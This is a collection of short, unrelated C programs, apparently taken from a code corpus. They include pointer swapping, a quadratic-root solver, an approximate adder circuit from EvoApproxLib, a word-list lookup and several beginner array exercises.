void exchange(int * const pint1, int * const pint2)
{
int temp;
temp = *pint1;
*pint1 = *pint2;
*pint2 = temp;
}
int main(void)
{
void exchange (int * const pint1, int * const pint2);
int i1 = -5, i2 = 66, *p1 = &i1, *p2 = &i2;
printf("i1 = %i, i2 = %i\n", i1, i2);
exchange(p1, p2);
printf("i1 = %i, i2 = %i\n", i1, i2);
exchange (&i1, &i2);
printf("i1 = %i, i2 = %i\n", i1, i2);
return 0;
}
|
the_stack_data/32951407.c
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int roots(double a, double b, double c, double result[]);
int main(int argc, char *argv[]){
double a,b,c;
char *arg;
double results[2];
if(argc < 4)
{
printf("Error, incorrect number of arguments\n");
return -1;
}
a = strtod(argv[1],&arg);
b = strtod(argv[2],&arg);
c = strtod(argv[3],&arg);
printf("args are %f %f %f \n",a,b,c);
int rt = roots(a,b,c,results);
if(rt == 0){
printf("Success, roots are %f %f \n",results[0],results[1]);
}
}
int roots(double a, double b, double c, double result[]){
if (a ==0) {
printf("Error, a cannot be zero\n");
return -1;
}
double b_plus, b_minus;
// plus
b_plus = -1*(b) + sqrt( b * b - (4 * a * c));
printf("b_pls = %f\n",b_plus);
// minus
b_minus = -1*(b) - sqrt(b * b - (4 * a * c));
printf("b_minus = %f\n",b_minus);
result[0] = b_plus / (2 * a);
result[1] = b_minus / (2 * a);
return 0;
}
|
the_stack_data/101701711.c
|
/***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, L. Sekanina, Z. Vasicek "Libraries of Approximate Circuits: Automated Design and Application in CNN Accelerators" IEEE Journal on Emerging and Selected Topics in Circuits and Systems, Vol 10, No 4, 2020
* This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and mae parameters
***/
// MAE% = 0.0099 %
// MAE = 6.5
// WCE% = 0.035 %
// WCE = 23
// WCRE% = 2100.00 %
// EP% = 95.31 %
// MRE% = 0.22 %
// MSE = 64
// PDK45_PWR = 0.052 mW
// PDK45_AREA = 106.1 um2
// PDK45_DELAY = 0.92 ns
#include <stdint.h>
#include <stdlib.h>
uint64_t add16se_2GE(const uint64_t B,const uint64_t A)
{
uint64_t dout_52, dout_54, dout_55, dout_56, dout_57, dout_58, dout_59, dout_60, dout_61, dout_62, dout_63, dout_64, dout_65, dout_66, dout_67, dout_68, dout_69, dout_70, dout_71, dout_72, dout_73, dout_74, dout_75, dout_76, dout_77, dout_78, dout_79, dout_80, dout_81, dout_82, dout_83, dout_84, dout_85, dout_86, dout_87, dout_88, dout_89, dout_90, dout_91, dout_92, dout_93, dout_94, dout_95, dout_96, dout_97, dout_98, dout_99, dout_100, dout_101, dout_102, dout_103, dout_104, dout_105, dout_106, dout_107, dout_108, dout_109, dout_110;
uint64_t O;
dout_52=((B >> 4)&1)^0xFFFFFFFFFFFFFFFFU;
dout_54=((A >> 5)&1)^((B >> 5)&1);
dout_55=((A >> 5)&1)&((B >> 5)&1);
dout_56=dout_54&((B >> 4)&1);
dout_57=dout_54^((B >> 4)&1);
dout_58=dout_55|dout_56;
dout_59=((A >> 6)&1)^((B >> 6)&1);
dout_60=((A >> 6)&1)&((B >> 6)&1);
dout_61=dout_59&dout_58;
dout_62=dout_59^dout_58;
dout_63=dout_60|dout_61;
dout_64=((A >> 7)&1)^((B >> 7)&1);
dout_65=((A >> 7)&1)&((B >> 7)&1);
dout_66=dout_64&dout_63;
dout_67=dout_64^dout_63;
dout_68=dout_65|dout_66;
dout_69=((A >> 8)&1)^((B >> 8)&1);
dout_70=((A >> 8)&1)&((B >> 8)&1);
dout_71=dout_69&dout_68;
dout_72=dout_69^dout_68;
dout_73=dout_70|dout_71;
dout_74=((A >> 9)&1)^((B >> 9)&1);
dout_75=((A >> 9)&1)&((B >> 9)&1);
dout_76=dout_74&dout_73;
dout_77=dout_74^dout_73;
dout_78=dout_75|dout_76;
dout_79=((A >> 10)&1)^((B >> 10)&1);
dout_80=((A >> 10)&1)&((B >> 10)&1);
dout_81=dout_79&dout_78;
dout_82=dout_79^dout_78;
dout_83=dout_80|dout_81;
dout_84=((A >> 11)&1)^((B >> 11)&1);
dout_85=((A >> 11)&1)&((B >> 11)&1);
dout_86=dout_84&dout_83;
dout_87=dout_84^dout_83;
dout_88=dout_85|dout_86;
dout_89=((A >> 12)&1)^((B >> 12)&1);
dout_90=((A >> 12)&1)&((B >> 12)&1);
dout_91=dout_89&dout_88;
dout_92=dout_89^dout_88;
dout_93=dout_90|dout_91;
dout_94=((A >> 13)&1)^((B >> 13)&1);
dout_95=((A >> 13)&1)&((B >> 13)&1);
dout_96=dout_94&dout_93;
dout_97=dout_94^dout_93;
dout_98=dout_95|dout_96;
dout_99=((A >> 14)&1)^((B >> 14)&1);
dout_100=((A >> 14)&1)&((B >> 14)&1);
dout_101=dout_99&dout_98;
dout_102=dout_99^dout_98;
dout_103=dout_100|dout_101;
dout_104=((A >> 15)&1)^((B >> 15)&1);
dout_105=((A >> 15)&1)&((B >> 15)&1);
dout_106=dout_104&dout_103;
dout_107=dout_104^dout_103;
dout_108=dout_105|dout_106;
dout_109=((A >> 15)&1)^((B >> 15)&1);
dout_110=dout_109^dout_108;
O = 0;
O |= (dout_68&1) << 0;
O |= (dout_90&1) << 1;
O |= (dout_98&1) << 2;
O |= (((A >> 4)&1)&1) << 3;
O |= (dout_52&1) << 4;
O |= (dout_57&1) << 5;
O |= (dout_62&1) << 6;
O |= (dout_67&1) << 7;
O |= (dout_72&1) << 8;
O |= (dout_77&1) << 9;
O |= (dout_82&1) << 10;
O |= (dout_87&1) << 11;
O |= (dout_92&1) << 12;
O |= (dout_97&1) << 13;
O |= (dout_102&1) << 14;
O |= (dout_107&1) << 15;
O |= (dout_110&1) << 16;
return O;
}
|
the_stack_data/18315.c
|
int my_wait(int *) __asm("_" "wait" "$UNIX2003");
typedef int bar;
int foo() {
return 2+ (bar) 3.0;
}
|
the_stack_data/98575798.c
|
#include<stdlib.h>
#include<stdio.h>
int main()
{
int n, i, j, vezes=1;
float sequencia[100];
printf("Informe quantos elementos existem na sequencia: ");
scanf("%d", &n);
printf("Agora, digite a sequencia de %d numeros inteiros e reais: \n", n);
for(i=0;i<n;i++)
scanf("%f", &sequencia[i]);
for(i=0;i<n;i++) {
j=i+1;
while(j<n){
if(sequencia[j] != sequencia[i])
j++;
else {
vezes++;
n--;
sequencia[j]=sequencia[n];
}
}
printf("%.2f ocorre %d vezes...\n", sequencia[i], vezes);
}
system("PAUSE");
return 0;
}
|
the_stack_data/259483.c
|
#include<stdio.h>
int main()
{
int arr[1000],n,i,j;
scanf("%d",&n);
for(i=0; i<n; i++)
{
scanf("%d",&arr[i]);
}
for(j=n-1; j>=0; j--)
{
printf("%d ",arr[j]);
}
return 0;
}
|
the_stack_data/821.c
|
#include <stdio.h>
#include <stdlib.h>
int find_max(int numbers[], int count);
int find_min(int numbers[], int count);
int main()
{
int number_array[100], temporary_var, iterator, maximum, minimum, sum = 0;
float average = 0;
printf("Enter a +ve integer: ");
scanf("%d", &number_array[0]);
if ((number_array[0] == 0) || (number_array[0] < 0))
{
printf("Number of +ve values entered is: 0\nMaximum value entered is: 0\nMinimum value entered is: 0\nAverage value is: 0\n");
return 0;
}
for(iterator=1;iterator<100;iterator++)
{
printf("Enter next +ve integer: ");
scanf("%d", &temporary_var);
if ((temporary_var == 0) || (temporary_var < 0))
{
break;
}
else
number_array[iterator] = temporary_var;
sum = sum + number_array[iterator];
}
maximum = find_max(number_array, iterator);
minimum = find_min(number_array, iterator);
average = (float) (sum+number_array[0])/iterator;
printf("Number of +ve values entered is: %d\nMaximum value entered is: %d\nMinimum value entered is: %d\nAverage value is: %f\n", iterator, maximum, minimum, average);
return 0;
}
int find_max(int numbers[], int count)
{
int i, maximum_value = 0;
for(i = 0; i < count; i++)
{
if((maximum_value) < (numbers[i]))
{
maximum_value = numbers[i];
}
}
return maximum_value;
}
int find_min(int numbers[], int count)
{
int i, minimum_value = numbers[0];
for(i = 0; i < count; i++)
{
if((minimum_value) >= (numbers[i]))
{
minimum_value = numbers[i];
}
}
return minimum_value;
}
|
the_stack_data/103265548.c
|
#include <stdio.h>
#include <ctype.h>
#include <string.h>
void *malloc( size_t size);
void *calloc( size_t size, size_t nelems);
static got_match(char * key,char * listmemb);
static char ** commonwords;
static int inited = 0;
static int ncommon = 0;
char * check_clist();
char *
is_common(s)
char *s;
{
char curkey[64];
register char *p;
p = curkey;
if(*s=='@') strcpy(p,s+1);
while(*p) p++; p--;
if(*p == '@' ) *p = 0;
if( ! inited ) {
init_common();
}
/*
p=check_clist(curkey);
printf("curkey [%s] p == NULL %d\n", curkey , p == NULL );
return(p);
*/
return(check_clist(curkey));
}
init_common()
{
FILE * f;
int i;
char * getenv();
char curword[128];
char libdir[BUFSIZ];
strcpy(libdir,getenv("LIBDIR"));
if( ! libdir[0] ) {
fprintf(stderr,"could not initialize LIBDIR!\n");
exit(-1);
}
strcat(libdir,"/irreg.spell");
if( ! (f=fopen(libdir,"r")) ) {
fprintf(stderr,"could not open [%s]\n", libdir );
exit(-1);
}
while(fgets(curword,sizeof curword,f)) {
if( isalpha(curword[0]) )
ncommon++;
}
commonwords = (char **) calloc((size_t)(ncommon+1),sizeof * commonwords );
fseek(f,0L,0);
for(i=0;;i++) {
if( ! fgets(curword,sizeof curword,f) )
break;
if( isalpha(curword[0]) ) {
int n;
n = strlen(curword);
curword[n-1] = 0; /* zap '\n' */
n--;
*(commonwords+i) = (char *) malloc((size_t)(n+1));
strcpy(*(commonwords+i),curword);
}
}
fclose(f);
inited++;
}
char *
check_clist(s)
char *s;
{
int i;
for(i=0;i<ncommon;i++) {
if( got_match(s,*(commonwords+i)))
return(*(commonwords+i));
}
return(NULL);
}
static
got_match(char * key,char * listmemb)
{
while(*key) {
if( ! * listmemb )
return(0);
if( *key == *listmemb ) {
key++; listmemb++;
continue;
}
if(!isalpha(*listmemb)) {
while(*listmemb&&!isalpha(*listmemb))
listmemb++;
continue;
}
return(0);
}
while(*listmemb&&!isalpha(*listmemb)) listmemb++;
if( !*listmemb)
return(1);
return(0);
}
|
the_stack_data/70957.c
|
#include <stdio.h>
int N(int l,int r,int arr[],int n)
{
int number=0;
int c=0;
int i;
for(i=l;i<=r;i++)
{
number=(number+arr[i])%n;
}
c=number;
return c;
}
int M(int l,int r,int arr[],int n)
{
int c=1;
int i;
for(i=l;i<=r;i++)
{
c=(c*arr[i])%n;
}
return c;
}
int H(int l,int r,int arr[])
{
int chu=arr[l];
int i;
for(i=l+1;i<=r;i++)
{
chu=chu^arr[i];
}
return chu;
}
int main()
{
int n,k;
scanf("%d %d",&n,&k);
int arr[n];
int i;
for(i=0;i<n;i++)
{
scanf("%d",&arr[i]);
}
int j;
int c,l,r;
for(j=0;j<k;j++)
{
scanf("%d %d",&l,&r);
if(N(l,r,arr,n)>M(l,r,arr,n))
{
c=H(M(l,r,arr,n),N(l,r,arr,n),arr);
}
else
{
c=H(N(l,r,arr,n),M(l,r,arr,n),arr);
}
printf("%d\n",c);
}
return 0;
}
|
the_stack_data/1040246.c
|
#include <stdlib.h>
extern char *getenv(const char *);
struct s3 {
char *t1;
int a;
char *t2;
};
union u1 {
char *t;
int a;
char *ut;
struct s3 s3;
};
struct s2 {
union u1 u;
char *t;
};
struct s1 {
char *t;
struct s2 s2;
};
struct s1 s1;
int
main() {
s1.s2.u.s3.t2 = getenv("gude");
char *t1 = s1.s2.u.s3.t2;
s1.s2.u.ut = "noe";
char *t2 = s1.s2.u.s3.t2;
return 0;
}
|
the_stack_data/36075267.c
|
#include <stdio.h>
int main ( void )
{
int N = 0, temp = 0;
int SUM = 0;
printf( "\nN = " );
scanf( "%d", &N );
int i;
for( i = 0; i < N; i++ )
{
printf( "%d: ", i+1 );
scanf( "%d", &temp );
SUM += temp;
}
printf( "\nSUM = %d\n", SUM );
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.